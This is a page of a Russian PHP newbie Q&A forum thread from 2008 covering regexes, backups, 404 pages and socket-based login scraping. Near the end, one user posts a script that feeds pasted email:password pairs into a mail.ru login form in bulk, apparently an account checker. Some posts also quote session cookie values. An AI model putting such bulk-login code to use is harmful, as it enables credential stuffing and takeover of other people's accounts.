PDA

Просмотр полной версии : [php] Новичкам: задаем вопросы


Страницы : 1 2 3 4 5 6 7 8 9 10 11 [12] 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66

Корвин
17.04.2008, 18:15
2Корвин
не должен начинатся на цифры,буквы нижнего и верхнего регистра и символоы -.


эээ, это точно?? тогда на что файлу начинаца?)))))

ZET36
17.04.2008, 18:24
народ, на что проверяется имя файла подскажите плиз, а то не нашол описания функции ereg()

if (!ereg("^[[:alnum:]_\.-]+$", $_REQUEST['filename']))
die("internal error: bad filename");

мне кажется, простите если ошибаюсь что скрипт проверяет что бы в имени файла небыло всех цифр ,слеша точки и подчоркивания. тоесть что бы файл прошол эту фильтрацию он должен выглядеть вот так iudfsg и он должен быть без разширения так как точка тоже фильтруется в этом скрипте

Sleep
17.04.2008, 18:32
$test = "test123123";
if (!ereg("^[[:alnum:]_\.-]+$", $test)) die ("internal error: bad filename");
else
echo "GOOD";

скрипт выдасат гуд,а заместо вывода гуд могло бы быть каое нибудь другое действие например загрузка етого файла ты выложи кусок кода побольше
тоесть if (!ereg("^[[:alnum:]_\.-]+$", $test)) die ("internal error: bad filename"); етот кусок кода проверяет файл чтобы он не нызывался на A-z9-0 -.
если ето так тоеть если файл не называется на a-Z0-9
то он выводит фразу : internal error: bad filename типо что имя файла не правильное

Дикс
17.04.2008, 19:13
сделал вот такую херню:

$content = '<a class=red href="text.phtml?storycode=18451">[дальше]</a>56546546<a class=red href="text.phtml?storycode=18452">[дальше]</a>56546546<a class=red href="text.phtml?storycode=18452">[дальше]</a>';
preg_match_all("<b>(.+?)<\/b>\s:\s(.+?)\s.*?storycode=(\d+)", $content, $out, PREG_PATTERN_ORDER);


получаю

Warning: preg_match_all() [function.preg-match-all]: Unknown modifier '(' in ...

Помогите исправить регулярку, пожалуйста

d_x
17.04.2008, 19:20
Вообще, именно для этой регулярки:

preg_match_all("/<b>(.+?)<\/b>\s:\s(.+?)\s.*?storycode=(\d+)/i", $content, $out, PREG_PATTERN_ORDER);

Но что конкретно получить из строки надо? Просто такая регулярка не парсит строку из примера

Piflit
17.04.2008, 20:07
это пиздец какой-то...

^[[:alnum:]_\.-]+$
^ - начало строки (а никакое не отрицание!)
$ - конец строки
+ - количество символов из скобок от 1
[:alnum:] - все буквы и цифры
_\.- - нижнее подчеркивание, точка и дефис

мда

2 #2799

структура условного оператора такая:
if(){} else {}
а не
if(){};else {}

Buffalon
17.04.2008, 20:58
Piflit
НАпиши топЕГ про регулярки... .ЧТо бы было меньше вопросов((ведь сам всё видишью(ЧТо да как и почём)))... .ПОнимаю что в инете тем море но всё таки... .Извините за спам... .

SeGaLWS
17.04.2008, 21:06
это пиздец какой-то...

2 #2799

структура условного оператора такая:
if(){} else {}
а не
if(){};else {}

Я не сомниваюсь в твоих познаниях в php но у else есть 2 варианта написания, точнее их не 2 а больше но бы имеем в данный момент 2 из них.
1 это то что вот тут ^^^^^^^
2 вот так:
if(условие)
действо1;
else
действо2;
PS: всеравно те + )

Так что то что там написано не if(){};else {}
а if(){;}else {}
ЗЫ: Всеравно те +

Noiro
17.04.2008, 21:24
^ - начало строки (а никакое не отрицание!)
Немного оффтоп, но вообще там просто два случая есть. Когда ^ используется в начале класса символов, то он означает именно отрицание, т.е. [^\w] означает любой символ, не являющийся \w

Piflit
17.04.2008, 21:26
SeGaLWS вариант, о котором написал я, гораздо более распространен

Немного оффтоп, но вообще там просто два случая есть. Когда ^ используется в начале класса символов, то он означает именно отрицание, т.е. [^\w] означает любой символ, не являющийся \w
к чему этот пост?

truelamer
17.04.2008, 21:38
Помогите, не могу правильно передать http заголовки чтоб залогиниться... на gz.sko.kz

<?php
$host="gz.sko.kz";
$path="/login.aspx?ReturnUrl=%2fDefault.aspx";

$fp=fsockopen($host,80,$errno,$errstr,30);

if(!$fp)
{
echo $errno." ".$errstr; exit;
}
$data='UserName=pars&Password=7777777\r\n\r\n';

$header.="POST ".$path." HTTP/1.1\r\n";
$header.="Host: ".$host."\r\n";
$header.="Content-type: application/x-www-form-urlencoded\r\n";
$header.="Content-Length: ".strlen($data)."\r\n\r\n";
$header.='UserName=pars&Password=7777777\r\n\r\n';

echo $header;

fwrite($fp, $header);

while(!feof($fp))
{
$line.=fgets($fp,1024);
}
fclose($fp);

echo $line;
?>

Noiro
17.04.2008, 21:43
...
$data='UserName=pars&Password=7777777';
Попробуй так, завершающие переносы строк вообще-то в длину не входят
$header.="UserName=pars&Password=7777777\r\n\r\n";
Кавычки нужны двойные, '\r\n' != "\r\n"

truelamer
17.04.2008, 22:03
на самом деле там переменные вида name="loginbox3$Password", но как ни бьюсь не пашет ни чего

ZET36
17.04.2008, 22:06
Помогите, не могу правильно передать http заголовки чтоб залогиниться... на gz.sko.kz



м. странно вроде я всё правельно передаю
<?php
$hostname = "gz.sko.kz";
$path = "/login.aspx?ReturnUrl=%2fDefault.aspx";
$line = "";

$fp = fsockopen($hostname, 80, $errno, $errstr, 30);

if (!$fp) echo "$errstr ($errno)<br />\n";
else
{

$data = "__EVENTTARGET=&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUKMTUzNTg1MDU5MA9kFgICAw9kFgIC BQ88KwAKAQAPFgIeDUNyZWF0ZVVzZXJVcmwFJVJlZ2lzdGVyLm FzcHg%2FUmV0dXJuVXJsPS9EZWZhdWx0LmFzcHhkZBgBBR5fX0 NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WBAUSbG9naW5f c3RhdHVzJGN0bDAxBRJsb2dpbl9zdGF0dXMkY3RsMDMFFGxvZ2 luYm94MyRSZW1lbWJlck1lBRpsb2dpbmJveDMkTG9naW5JbWFn ZUJ1dHRvbo52%2BP4gTBuf4CaCEX58bGgpHWO2&loginbox3%24UserName=zz&loginbox3%24Password=dd&loginbox3%24LoginButton=%C2%A0%D0%92%D1%85%D0%BE%D 0%B4%C2%A0&__EVENTVALIDATION=%2FwEWBgLext%2F2CwKTs87BDAK%2Fu7 fIDQKY2Z7xCAKNm%2FKSDgLOgJCABthp5RG9Wy0Z%2F08BwLNm J%2FxopnyM\r\n\r\n";

$headers = "POST $path HTTP/1.1\r\n";
$headers .= "Host: $hostname\r\n";
$headers .= "Content-type: application/x-www-form-urlencoded\r\n";
$headers .= "Content-Length: ".strlen($data)."\r\n\r\n";

fwrite($fp, $headers.$data);

while (!feof($fp))
{
$line .= fgets($fp, 1024);
}
fclose($fp);
}
echo $line;
?>

а денвер выдаёт Maximum execution time of 30 seconds exceeded
а у тебя какая ошибка?

возможно на этом сайте идёт проверка referrer'а ?

truelamer
17.04.2008, 22:08
у меня такая же ожибка exec time

хз чо делать , но мне срочно надо как то пропарсить информацию под злогиненым юзером, мож есть какие-то другие идеи по поводу аутентификации?

Цель пропарсить инфу из под логина, так как её иначе не видно

Piflit
17.04.2008, 22:14
zet36
в пост запросе еще как-бы надо данные передавать

ZET36
17.04.2008, 22:41
у меня такая же ожибка exec time

хз чо делать , но мне срочно надо как то пропарсить информацию под злогиненым юзером, мож есть какие-то другие идеи по поводу аутентификации?

Цель пропарсить инфу из под логина, так как её иначе не видно

держи через get получилось

<?php
$fp = fsockopen("www.gz.sko.kz", 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET http://gz.sko.kz/login.aspx?ReturnUrl=%2fDefault.aspx?__EVENTTARGET =&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUKMTUzNTg1MDU5MA9kFgICAw9kFgIC BQ88KwAKAQAPFgIeDUNyZWF0ZVVzZXJVcmwFJVJlZ2lzdGVyLm FzcHg%2FUmV0dXJuVXJsPS9EZWZhdWx0LmFzcHhkZBgBBR5fX0 NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WBAUSbG9naW5f c3RhdHVzJGN0bDAxBRJsb2dpbl9zdGF0dXMkY3RsMDMFFGxvZ2 luYm94MyRSZW1lbWJlck1lBRpsb2dpbmJveDMkTG9naW5JbWFn ZUJ1dHRvbo52%2BP4gTBuf4CaCEX58bGgpHWO2&loginbox3%24UserName=zz&loginbox3%24Password=dd&loginbox3%24LoginButton=%C2%A0%D0%92%D1%85%D0%BE%D 0%B4%C2%A0&__EVENTVALIDATION=%2FwEWBgLext%2F2CwKTs87BDAK%2Fu7 fIDQKY2Z7xCAKNm%2FKSDgLOgJCABthp5RG9Wy0Z%2F08BwLNm J%2FxopnyM HTTP/1.1\r\n";
$out .= "Host: www.gz.sko.kz\r\n";
$out .= "Connection: Close\r\n\r\n";

fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
?>

truelamer
17.04.2008, 22:42
++++++++++++

а чего то не хотит, говорит что HTTP/1.1 400 Bad Request ( Недопустимые данные. ) Connection: close Pragma: no-cache Cache-Control: no-cache Content-Type: text/html Content-Length: 1964

Buffalon
17.04.2008, 23:12
++++++++++++

а чего то не хотит, говорит что HTTP/1.1 400 Bad Request ( Недопустимые данные. ) Connection: close Pragma: no-cache Cache-Control: no-cache Content-Type: text/html Content-Length: 1964
Напиши ссылку правильно... . Bad Request-помойму означает как плохо подключон))/Вроде так)

ZET36
18.04.2008, 00:42
++++++++++++

а чего то не хотит, говорит что HTTP/1.1 400 Bad Request ( Недопустимые данные. ) Connection: close Pragma: no-cache Cache-Control: no-cache Content-Type: text/html Content-Length: 1964

у меня в денвере работает. возможно форум отфармотировал исходник. вот залил его на http://rapidshare.com/files/108306993/get.txt.html

Sleep
18.04.2008, 00:42
это пиздец какой-то...

^[[:alnum:]_\.-]+$
^ - начало строки (а никакое не отрицание!)
$ - конец строки
+ - количество символов из скобок от 1
[:alnum:] - все буквы и цифры
_\.- - нижнее подчеркивание, точка и дефис

ну а если так ?
if (!ereg("^[[:alnum:]_\.-]+$")) ;
то тут какрас не должена начинатся на цифру,букву,
нижнее подчёркивание,точкку или дефис

truelamer
18.04.2008, 06:52
2 ZET36 спасибо за исходники, сервак даже чего-то вернул))) Ты молодец +++

HTTP/1.1 302 Found Connection: close Content-Length: 4416 Date: Fri, 18 Apr 2008 02:44:41 GMT Location: /Default.aspx?__EVENTTARGET= Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/6.0 X-Powered-By: ASP.NET X-AspNet-Version: 2.0.50727 Set-Cookie: ASP.NET_SessionId=xy1t4hi0aj30ilq41oduip45; path=/; HttpOnly Set-Cookie: .ASPXAUTH=EFB41E6FD57F57EB027000610072007300000039 1ADB26FEA0C801003954F565B0C2CA0100002F0000003CC4E5 61048562DAC97DAA120EE1DF50C2C22B75; path=/; HttpOnly Cache-Control: private

Корвин
18.04.2008, 09:31
$test = "test123123";
if (!ereg("^[[:alnum:]_\.-]+$", $test)) die ("internal error: bad filename");
else
echo "GOOD";

скрипт выдасат гуд,а заместо вывода гуд могло бы быть каое нибудь другое действие например загрузка етого файла ты выложи кусок кода побольше
тоесть if (!ereg("^[[:alnum:]_\.-]+$", $test)) die ("internal error: bad filename"); етот кусок кода проверяет файл чтобы он не нызывался на A-z9-0 -.
если ето так тоеть если файл не называется на a-Z0-9
то он выводит фразу : internal error: bad filename типо что имя файла не правильное


на самом деле это все очень странно, этот скрипт в админке, а админки как известно для тех кто не разбирается в кодах, для легкой правки контента сайта,
так очень странно что там стоит условие что закачиваемый файл должен быть типа 123asd без расширения, странно еще , йа эту проверку закоментил, а файл все равно не заливается, но проверок файл нейма там в коде больше нет...

AlexV
18.04.2008, 10:51
Ребят! Срочно нужна помощь! Я случайно восстановил старую базу своего форума! И все новые темы удалились, а вчерашнего нового бекапа нет! Можно ли как нибудь вернуть все назад!?

форум на phpbb3

Doom123
18.04.2008, 12:00
у хостера попроси он по идеи должен каждый день делать бекап

AlexV
18.04.2008, 13:08
у хостера попроси он по идеи должен каждый день делать бекап
А если нету!? Может там где нибудь автоматом хранится на всякий случай!? Я на фтп полазил - ничего не нашел... Просто очень много полезной информации потерялось...

SeGaLWS
18.04.2008, 13:17
если у хостера нету то ничего не поделаеш....

truelamer
18.04.2008, 13:24
ПРивет, Всем у меня опять головатыкство с парсилкой.... Надеюсь ZED36 мне поможет)))

Залогиниться то получилось а, что-то дальше информацию с др страниц получить не могу, те попасть не могу на эти страницы например надо залогинившись получить контент страницы http://gz.sko.kz/Default.aspx?org_id=10. Какие заголовки надо передать чтоб получить эту пагу???

В парсинге новичок поэтому столько вопросов...

Doom123
18.04.2008, 13:36
слух не парься поиши на php.net есть класс эулятор браузера

а конкретнее вот:

To emulate a web browser with PHP using socket functions, there is a very good class to do this:

http://sourceforge.net/projects/snoopy/

Some of its features:

* easily fetch the contents of a web page
* easily fetch the text from a web page (strip html tags)
* easily fetch the the links from a web page (add a filter for "mailto:" links and you can easily fetch e-mail addresses).
* supports proxy hosts
* supports basic user/pass authentication
* supports setting user_agent, referer, cookies and header content
* supports browser redirects, and controlled depth of redirects
* expands fetched links to fully qualified URLs (default)
* easily submit form data and retrieve the results
* supports SSL and frames

snoopy - помойму isis использует иногда этот ник=)

AlexV
18.04.2008, 13:39
Ну чтож, благодарю! Придется все заново писать - еще минус один день! :(

Кстати, у меня еще пару вопросов: вот у меня стоит движок phpbb 3.0.0,
я хочу найти на него такие моды как репутация (с плюсиками и минусами), стаж (проведенное время на форуме), еще у меня скопилось много баннеров внизу 88*31, но на одном сайте я видел - что-то типа бегущей строки из баннеров! Никто не знает как это реализовать или где можно найти!?

krypt3r
18.04.2008, 13:45
truelamer
Ну раз залогиниться удалось, значит, при удачной авторизации тебя наградили кукисами. При следующем запросе устанавливай вдобавок к другим полям Get/post-запроса эти полученные "печеньки". Как получишь результат, парсь на искомый текст

zythar
18.04.2008, 13:52
Ну чтож, благодарю! Придется все заново писать - еще минус один день! :(

Кстати, у меня еще пару вопросов: вот у меня стоит движок phpbb 3.0.0,
я хочу найти на него такие моды как репутация (с плюсиками и минусами), стаж (проведенное время на форуме), еще у меня скопилось много баннеров внизу 88*31, но на одном сайте я видел - что-то типа бегущей строки из баннеров! Никто не знает как это реализовать или где можно найти!?

насколько я знаю мод репутации для пхпББ не существует. для этого воблу мона поставить. начет баннеров это наверное JavaScript

Корвин
18.04.2008, 14:42
Ну чтож, благодарю! Придется все заново писать - еще минус один день! :(

Кстати, у меня еще пару вопросов: вот у меня стоит движок phpbb 3.0.0,
я хочу найти на него такие моды как репутация (с плюсиками и минусами), стаж (проведенное время на форуме), еще у меня скопилось много баннеров внизу 88*31, но на одном сайте я видел - что-то типа бегущей строки из баннеров! Никто не знает как это реализовать или где можно найти!?

тебе что хостеры ответили что не делают бекапы?? скажи что у тебя за хостинг, не буду им пользоваца=))

AlexV
18.04.2008, 16:13
Ребят, бекап мне скинули, только вот проблема в том, что у них формат файла = 18.04.2008_04.02.tar.bz2, а у меня = backup_1208518646_0fe1bf7e4611bfcc.sql.gz! Как быть в таком случае, заливаю туда - захожу через админовку - файл не видит! И расширение пробывал менять, и название - все равно не видит! Как быть!?

truelamer
18.04.2008, 16:18
ПОмогите не погу получить пагу чтоб пропарсить


<?php
$fp = fsockopen("www.gz.sko.kz", 80, $errno, $errstr, 30);
if (!$fp) {
echo "$errstr ($errno)<br />\n";
} else {
$out = "GET http://gz.sko.kz/login.aspx?ReturnUrl=%2fDefault.aspx?__EVENTTARGET =&__EVENTARGUMENT=&__VIEWSTATE=%2FwEPDwUKMTUzNTg1MDU5MA9kFgICAw9kFgIC BQ88KwAKAQAPFgIeDUNyZWF0ZVVzZXJVcmwFJVJlZ2lzdGVyLm FzcHg%2FUmV0dXJuVXJsPS9EZWZhdWx0LmFzcHhkZBgBBR5fX0 NvbnRyb2xzUmVxdWlyZVBvc3RCYWNrS2V5X18WBAUSbG9naW5f c3RhdHVzJGN0bDAxBRJsb2dpbl9zdGF0dXMkY3RsMDMFFGxvZ2 luYm94MyRSZW1lbWJlck1lBRpsb2dpbmJveDMkTG9naW5JbWFn ZUJ1dHRvbo52%2BP4gTBuf4CaCEX58bGgpHWO2&loginbox3%24UserName=pars&loginbox3%24Password=7777777&loginbox3%24LoginButton=%C2%A0%D0%92%D1%85%D0%BE%D 0%B4%C2%A0&__EVENTVALIDATION=%2FwEWBgLext%2F2CwKTs87BDAK%2Fu7 fIDQKY2Z7xCAKNm%2FKSDgLOgJCABthp5RG9Wy0Z%2F08BwLNm J%2FxopnyM HTTP/1.1\r\n";
$out .= "Host: www.gz.sko.kz\r\n";
$out .= "\r\n";

fwrite($fp, $out);


$out="GET http://gz.sko.kz/?org_id=10 HTTP/1.1\r\n";
$out .= "Host: www.gz.sko.kz\r\n";
$out .= "Cookie: .ASPXAUTH=55BD6ECB8AA5BE5B027000610072007300000031 C48CD14BA1C8010031FEA610FEC2CA0100002F000000483323 C76650A2C4C33A4F3F828D30F00548030F\r\n";
$out .= "Connection: Close\r\n\r\n";
fwrite($fp, $out);
while (!feof($fp)) {
echo fgets($fp, 128);
}

fclose($fp);
}
?>

mr.The
18.04.2008, 16:54
зачем ты делаеш 2 запроса? тогда уже открывай 2 сокета. и незабывай после каждого запроса делать fread

zythar
18.04.2008, 17:17
Ребят, бекап мне скинули, только вот проблема в том, что у них формат файла = 18.04.2008_04.02.tar.bz2, а у меня = backup_1208518646_0fe1bf7e4611bfcc.sql.gz! Как быть в таком случае, заливаю туда - захожу через админовку - файл не видит! И расширение пробывал менять, и название - все равно не видит! Как быть!?

дак тебе же архив скинули. тебе нужно это дело разархивировать и посмареть что там.

i_am_banana
18.04.2008, 17:21
народ подскажите плз скриптег для автосмены шапки....заранее благодарю...

zythar
18.04.2008, 17:24
ну.. мона яваскриптом делать чтобы каждые n секунд менял картинку. такой скрипт уже был на ачате. юзай поиск

Корвин
18.04.2008, 17:32
Ребят, бекап мне скинули, только вот проблема в том, что у них формат файла = 18.04.2008_04.02.tar.bz2, а у меня = backup_1208518646_0fe1bf7e4611bfcc.sql.gz! Как быть в таком случае, заливаю туда - захожу через админовку - файл не видит! И расширение пробывал менять, и название - все равно не видит! Как быть!?


напиши хостерам что тебе нужен архив с расширением sql.gz , а ты через что востанавливаешь? через phpmyadmin?

AlexV
18.04.2008, 17:45
Вух, все сделал с этим архивом, через мускул восстановил! :) УРа!

Кельт
18.04.2008, 19:33
Люди, возник такой вопрос, можно ли как-нибудь с помощью php парсить html страницы? или хотя бы не парсить, а просто вытянуть всю инфу в txt файл?

mr.The
18.04.2008, 19:40
Люди, возник такой вопрос, можно ли как-нибудь с помощью php парсить html страницы? или хотя бы не парсить, а просто вытянуть всю инфу в txt файл?
можно. вопрос изчерпан? конкетизируте епт.
скачиваеш страницу(через сокеты или курл), парсиш, сохраняеш в файл

.:EnoT:.
18.04.2008, 21:12
Mr. The
Я думаю в данном случае легче file_get_contents()
Чтоб взять страницу и записать её в файл, код такой
<?php
$content = file_get_contents('http://antichat.ru');
$txt = 'file.txt';
$file = fopen($txt, 'a+');
if(!$file) echo 'Невозможно открыть/создать файл!';
$write = fwrite($file, $content);
if(!$write) echo 'Ошибка записи в файл';
fclose($file);
?>
Ну а чтоб парсить, соответственно скажи что парсить, а там регулярку и усё

A_V
19.04.2008, 11:48
пожалуйста ответьте на конктретны вопрос:
1.Присоединился к сайту с использованием cURL

Мне нужно что-то типо такого

if(идет переадресация на site.com)

p.s.

Естественно все на cURL

NOmeR1
19.04.2008, 13:57
У меня вопрос: функции кеширования вывода работают в Windows? Я про ob_*.

Piflit
19.04.2008, 14:02
У меня вопрос: функции кеширования вывода работают в Windows? Я про ob_*.
да

Avant
19.04.2008, 14:17
Проблема при создании своей страницы ошибки 404. В .htacces пишу такой вот код
ErrorDocument 404/404.php
Ну и собственно создал свою страницу 404.php , но она не выводится, выводится дефолтная...

m0nsieur
19.04.2008, 17:51
2 avant - нашел вот такую тему:
При этом размер конечного файла должен быть больше 515 байт, иначе некоторые браузеры могут подменить страницу своей стандартной.

Сам не проверял.

Avant
19.04.2008, 18:44
Фенкс за инфу:)

AlexV
19.04.2008, 19:07
НУ чтож, с бегущей строкой я вроде разобрался....

У меня другой вопрос: у меня форум на phpbb3, я сам сижу через оперу, но мне тут один человек написал, что у меня все названия тем через ИЕ и МАКСТОН стоят по центру! А через оперу и firefox, mozilla - все нормально! Кто знает в чем может быть проблема!? И как сделать чтобы во всех браузерах показывалось нормально!?

Buffalon
19.04.2008, 20:18
Ой наверно сюда.. .Вроде поянл чем отличается ООП от всего остального... .НАпример mysql_query(...).А в ООП мы определим клас и будем в него добавлять ).... .Вроде так.. .А где ЛУЧШЕ взять статьи про ООП... .Думаю я по теме0\\/... .

A_V
19.04.2008, 20:23
раз ответа нет, то повтурюсь!

пожалуйста ответьте на конктретны вопрос:
1.Присоединился к сайту с использованием cURL

Мне нужно что-то типо такого

if(идет переадресация на site.com)

p.s.

Естественно все на cURL

Avant
19.04.2008, 20:25
У меня другой вопрос: у меня форум на phpbb3, я сам сижу через оперу, но мне тут один человек написал, что у меня все названия тем через ИЕ и МАКСТОН стоят по центру! А через оперу и firefox, mozilla - все нормально! Кто знает в чем может быть проблема!? И как сделать чтобы во всех браузерах показывалось нормально!? align="right" либо в стиле таблиц align: right

Buffalon
19.04.2008, 20:38
раз ответа нет, то повтурюсь!

пожалуйста ответьте на конктретны вопрос:
1.Присоединился к сайту с использованием cURL

Мне нужно что-то типо такого

if(идет переадресация на site.com)

p.s.

Естественно все на cURL
Вот то посмотри там всё подробно
<?
print_r($_SERVER);
?>

D0S
19.04.2008, 22:21
<?php
$fuck = file_get_contents ('http://site.ru/');
preg_match_all( '/<br>(.*)<hr>/iUs', $fuck, $matches);
if ('$fuck') {
echo $matches[0][0];
exit;
} else {
echo "Страница недоступна...";
exit;
}
?>
Так вот если http://site.ru/ недоступен то:
Warning: file_get_contents(http://site.ru/') [function.file-get-contents]: failed to open stream: HTTP request failed!
Вопрос: почему не выводит "Страница недоступна...", в каком месте я ошибся? :rolleyes:

d_x
19.04.2008, 22:24
<?php
$fuck = @file_get_contents ('http://site.ru/');
preg_match_all( '/<br>(.*)<hr>/iUs', $fuck, $matches);
if ($fuck) {
echo $matches[0][0];
exit;
} else {
echo "Страница недоступна...";
exit;
}
?>

Buffalon
19.04.2008, 22:27
#2854
У миня такой страницы несуществует(((
Слушай а вот этим if ('$fuck') { ты чего добиваешься?
<?php
$fuck = file_get_contents ('http://site.ru/');
preg_match_all( '/<br>(.*)<hr>/iUs', $fuck, $matches);
if ($fuck) {
echo $matches[0][0];
exit;
} else {
echo "Страница недоступна...";
exit;
}
?>

А так нельзя что ле?

Buffalon
19.04.2008, 23:03
Разве "@" скрытие ошибок актуально?Тогда уж пиши error_reporting(0);)))

Zircool
19.04.2008, 23:09
Вопрос по логике построения скрипта..Функции скрипта такие, авторизация а за тем выполнение действия ( удаление спама).. Инетересует имеено способ построения скрипта, будем работать через сокеты.... Вопрос такой как это все оформать, мой вариант вначале сокек связь с сенрвером и передача ему пост запроса с данными авторизации, затем вот мне интересног нужно ли закрывать сокет соединение или мы его не закрываем а стразу посылаем пост запрос с данными для удаления спама. Меня инетересует нужно ли каждое сокет соединение закрывать и куки должны быть одинаковы в сокет запросах? Если у кого нибудь есть примеры скрипта где используется две операции выполнения с сокет запросами выложите пожалуйста...

Buffalon
19.04.2008, 23:12
Вопрос по логике построения скрипта..Функции скрипта такие, авторизация а за тем выполнение действия ( удаление спама).. Инетересует имеено способ построения скрипта, будем работать через сокеты.... Вопрос такой как это все оформать, мой вариант вначале сокек связь с сенрвером и передача ему пост запроса с данными авторизации, затем вот мне интересног нужно ли закрывать сокет соединение или мы его не закрываем а стразу посылаем пост запрос с данными для удаления спама. Меня инетересует нужно ли каждое сокет соединение закрывать и куки должны быть одинаковы в сокет запросах? Если у кого нибудь есть примеры скрипта где используется две операции выполнения с сокет запросами выложите пожалуйста...
Выложи свой код а мы дополним,подскажем что не так... .Главное небойся тут все свои)... .

presidentua
20.04.2008, 00:04
Вопрос по логике построения скрипта..
Логика такая.
1. проходиш авторизацию посылкой Пост запроса. Получаеш Куки
2. Управляеш своей почтой посылая запросы, при этом используя кукисы полученые в первом пункте.

Я бы на твоем месте вместо сокетов юзал КУРЛ.

Zircool
20.04.2008, 00:50
Вот пример... В форму textarea вводим мыло и пароль вида
ulya@mail.ru:password И он должен войти в систему, вот написал но входа не ощущаю, в чем может быть проблема?


<?php



if(set_time_limit(0))
{
set_time_limit(0);
ignore_user_abort(1);
$limit = true;
}

Error_Reporting(E_ALL & ~E_NOTICE);
?>
set_time_limit() = <? if($limit) echo('<font color=YellowGreen>On</font> (Âðåìÿ ðàáîòû ñêðèïòà íå îãðàíè÷åíî)'); else echo('<font color=Red>Off</font> (Âðåìÿ ðàáîòû ñêðèïòà îãðàíè÷åíî)'); ?><br><br>
<?

print('<form method="POST">');
print('</br>' );
print('<textarea rows="15" cols="45" name="str"></textarea>'."<br />\r\n");
print('</br>' );
print('<input type="submit" name="sub" value=" Go! " />'."<br />\r\n");
print('</form>');


if(isset($_POST['sub']))
{
$mails=$_POST['str'];
$mails=explode("\r\n", trim($mails));
foreach($mails as $mail)
{
preg_match("#(.+)@(.+):(.+)#",$mail,$content);
$login=$content[1];
$domain=$content[2];
$pass=$content[3];
$login=trim($login);
$domain=trim($domain);
$pass=trim($pass);
$post="page=http%3A%2F%2Ffoto.mail.ru%2Fbk%2Fjofa%2F681%2 F686.html&Login=".$login."&Domain=".$domain."&Password=".$pass."&level=1";
$sock=@fsockopen("www.foto.mail.ru",80);
if(!$sock) die("fsockopen() error.");
{
fputs($sock,
"POST /bk/jofa/681/686.html HTTP/1.1\r\n".
"Host: www.foto.mail.ru\r\n".
"User-Agent:Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.8.0.2) Gecko/20060308 Firefox/1.5.0.2\r\n".
"Accept:text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5\r\n".
"Accept-Language:ru-ru,ru;q=0.8,en-us;q=0.5,en;q=0.3\r\n".
"Accept-Encoding:gzip,deflate\r\n".
"Accept-Charset:windows-1251,utf-8;q=0.7,*;q=0.7\r\n".
"Keep-Alive:300\r\n".
"Connection:keep-alive\r\n".
"Referer:http://foto.mail.ru/bk/jofa/681/686.html\r\n".
"Cookie:p=9C0AAFvPiwAA; __utma=56108983.1873436047.1207337938.1208597277.1 208633011.3; __utmz=56108983.1207337938.1.1.utmccn=(organic)|ut mcsr=google|utmctr=%D0%B1%D1%8C%D1%8E%D1%82+%D0%BF %D0%B0%D0%B2%D0%BB%D0%B0+%D0%B2%D0%BE%D0%BB%D1%8E| utmcmd=organic; c8=R08KSAAAAAIB5AEAAAAAAgrVBAAAAAAA; t=obLD1AAAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAABAAABAAAAAAAAAAAAABsFxAcA; mrcu=F0414753EA2761E6F5C5FE0554C2; Mpopl=1969011295; __utmb=56108983; __utmc=56108983\r\n".
"Content-Type:application/x-www-form-urlencoded\r\n".
"Content-Length:".strlen($post)."\r\n\r\n".$post);

}
while(!feof($sock))
{
$img .= fgets($sock, 1024);
}
fclose($sock);
echo $img;

}








}

?>

astrologer
20.04.2008, 01:20
$pass = urlencode($pass);
$login = urlencode($login);
$domain = urlencode($domain);?

Zircool
20.04.2008, 01:23
astrologer нет не стоит кодировать, запрос принимает значения переменных в стандартном виде..

_serz~
20.04.2008, 01:43
Всем привет.
Имеется скрипт РНР в котором есть ошибка такого характера- syntax error unexpected ' ; ' , expecting ' ] '
Есть ли такие приложения для проверки синтаксиса скрипта??? Он написан не мною, по этому ошибку для меня достаточно сложно обнаружить.
Скрипт весистый, визуально найти (я так думаю пропущенные ; или ] )трудновато.
Посоветуйте как разобраться с этой траблай!

Piflit
20.04.2008, 02:17
рядом с ошибкой написан номер строки. в ней незакрытая правая квадратная скобка

NOmeR1
20.04.2008, 08:32
Zircool, не бери пример с моих скриптов.. Я чушь писал типо
if(set_time_limit(0))
{
set_time_limit(0);
ignore_user_abort(1);
$limit = true;
}
^ это полная чушь на самом деле, правильнее юзать
ignore_user_abort(1);
if(set_time_limit(0)) {
$limit = true;
}

spamoney
20.04.2008, 10:45
Всем привет, такой вопрос:

есть кнопка

echo "<input type=\"submit\" onClick=\"window.open('$silka')\" value=\"Загрузить\">&nbsp;</form></td>";

Дело в том, что при щелчке на кнопке должно открыватся новое окно и проверятся http_referer, в Mozila и Opera всё работает нормально, а вот в IE почему то http_referer не передается, можно ли как нибудь решить проблему с IE??

Nickotin
20.04.2008, 11:21
ПОкажи весь код,этого недостаточно...

astrologer
20.04.2008, 16:12
1 echo '<a href="', $silka, '" target="_blank">Загрузить</a>'
2 echo '<input type="submit" onclick="window.open(\'', $silka, '?r=\' + encodeURIComponent(document.location.href) )" value="Загрузить">';

Doom123
20.04.2008, 18:14
md5(base64_encode(sha1(md5(md5($pass).sha1($salt)) )))
Как думаете стоит так извращятся? XD

mr.The
20.04.2008, 18:51
Как думаете стоит так извращятся? XD
а почему нет? так незная алгоритма хрен кто пароли сбрутит)

Doom123
20.04.2008, 19:23
а чем плох sha1?

mr.The
20.04.2008, 19:26
а чем плох sha1?
оуу.. сори. перепутал =]

Buffalon
20.04.2008, 19:49
а чем плох sha1?
ПРосто пишут во везде что md5() руль и всё))
Впринципе ели ШИФРОВАТЬ твоим способом то ничего плохо невижу... .Думаю со мной многие согласяться)Наверн)80

Zircool
20.04.2008, 22:57
Посторюсь с вопросом, проблема при авторизации... Вот исходники...


<?php



if(set_time_limit(0))
{
set_time_limit(0);
ignore_user_abort(1);
$limit = true;
}

